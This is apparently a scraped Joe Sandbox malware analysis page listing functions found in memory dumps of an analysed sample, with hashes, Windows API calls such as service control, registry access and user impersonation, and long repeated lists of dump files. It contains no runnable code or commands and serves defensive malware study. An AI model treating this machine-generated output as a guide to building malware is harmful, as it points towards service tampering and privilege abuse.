Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: f6940d33870bec2347bb4d68282e0cb729d95d8bc7dac160c2a8c1a97ee32e38
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: 72E092B2A042568FCB41CE39C8083CAB7A5DF14310F141A6DB14CD7A91F7748D50CB98

Function 006AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 006AE183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 006AE1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 006AE201

Memory Dump Source

Source File: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: 413791e83ff02618071e3e1bc0b8dcab2200c69ec25b8f637eeec87ab2919d75
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: F4312A7140420E9FEB11EFA0C848BEE3BBAFF12314F114529E94186A41D7B65DA5CF5A

Function 0069DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0069DF99

Memory Dump Source

Source File: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: 99f1a5307d06b23d6f8ed3e1da7100155722abe25c41679bf53270474bc5ed60
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: 863129F250C700DFE341AF19D88163AFBF5EF98320F16882DD6C483614E63488808B57

Function 0069DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0069DE68

Memory Dump Source

Source File: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction ID: b6d03b828b199f0f20a8286e2b433c115dc705df8a4bdfad2cf4ef42fd15343e
Opcode Fuzzy Hash: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction Fuzzy Hash: DB3137B250C300AFD305BF19D885A6EFBF9EF94721F06882DE6C483610D6355454CBA7

Function 04E20D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04E20DCD

Memory Dump Source

Source File: 00000007.00000002.1713976012.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4e20000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 249ecc486a361085278614cf4be3ab83a360b21587b2188f33ce3d1aeb53fb6f
Instruction ID: ffce9e5a4d9de1138c213e168cc0c1f438f048e41ca64639fa383b2a0977551f
Opcode Fuzzy Hash: 249ecc486a361085278614cf4be3ab83a360b21587b2188f33ce3d1aeb53fb6f
Instruction Fuzzy Hash: 0C2138B6C01218DFDB50CF99D985BDEFBF4EB88310F14821AD918AB244D774A941CBA4

Function 04E20D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04E20DCD

Memory Dump Source

Source File: 00000007.00000002.1713976012.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4e20000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 71fcdd95a06c173925ec0f916be80b2248a91b365616f2fc480bd4beee1f0761
Instruction ID: fd280efc1e8e7d6126aaaeea7c75936c93acf7a561d4a2324dbeb734cc8ff8fa
Opcode Fuzzy Hash: 71fcdd95a06c173925ec0f916be80b2248a91b365616f2fc480bd4beee1f0761
Instruction Fuzzy Hash: 5E2115B6C01218DFDB50CF99D984BDEFBF4EB88310F14811AD918AB244D774A541CBA4

Function 04E21509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04E21580

Memory Dump Source

Source File: 00000007.00000002.1713976012.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4e20000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 5d2681e9027de4683389876a5b2532cdcfe7b029d71b1bc39587d36ce69510ad
Instruction ID: aa5ed622adb8fce7785ef4697d93b0cad7fe44ac473329a7e73faf3c1cbb19f4
Opcode Fuzzy Hash: 5d2681e9027de4683389876a5b2532cdcfe7b029d71b1bc39587d36ce69510ad
Instruction Fuzzy Hash: E62117B1D00249DFDB10CF9AD585BDEFBF4EB48314F108429E519A7240D378AA45CFA5

Function 04E21510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04E21580

Memory Dump Source

Source File: 00000007.00000002.1713976012.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4e20000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c0ab6a8e2eced88de7c5c0421f68cb6f4cdd1d3baf8c436a2daa93f75eb308e9
Instruction ID: ffdc73a4ce9cada6b5aa078b04986b054c9be99898b9cb5ada45cbcc7af430ce
Opcode Fuzzy Hash: c0ab6a8e2eced88de7c5c0421f68cb6f4cdd1d3baf8c436a2daa93f75eb308e9
Instruction Fuzzy Hash: F311E4B1D00249DFDB20CF9AD585BDEFBF4EB48320F108029E959A7250D378AA45CFA5

Function 04E21301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04E21367

Memory Dump Source

Source File: 00000007.00000002.1713976012.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4e20000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 37f93db651b8935bb94023a1e65f3a55c4864a9879c94922eeb07ad35974305c
Instruction ID: af124469d33fe13aaff9cbacd1922999708cca16180e8cd1cde06e7c43d00076
Opcode Fuzzy Hash: 37f93db651b8935bb94023a1e65f3a55c4864a9879c94922eeb07ad35974305c
Instruction Fuzzy Hash: 67116AB1800249CFDB10CFAAD585BEEFBF4EF48320F108429D518A3240C778A541CFA5

Function 04E21308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04E21367

Memory Dump Source

Source File: 00000007.00000002.1713976012.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4e20000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 857a0d1520bbacf93920ff784d5c54b9d3bc4b5f74bf87b91db028f34e5800d6
Instruction ID: e069deb754c489f76a8bbbd849b5e801ed3e6c453005fa7382ee3a42c66bdb52
Opcode Fuzzy Hash: 857a0d1520bbacf93920ff784d5c54b9d3bc4b5f74bf87b91db028f34e5800d6
Instruction Fuzzy Hash: 791136B1800349CFDB20CF9AC545BEEFBF8EB48320F10842AD558A3240D778A944CFA5

Function 006ABFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 006B047D

Memory Dump Source

Source File: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
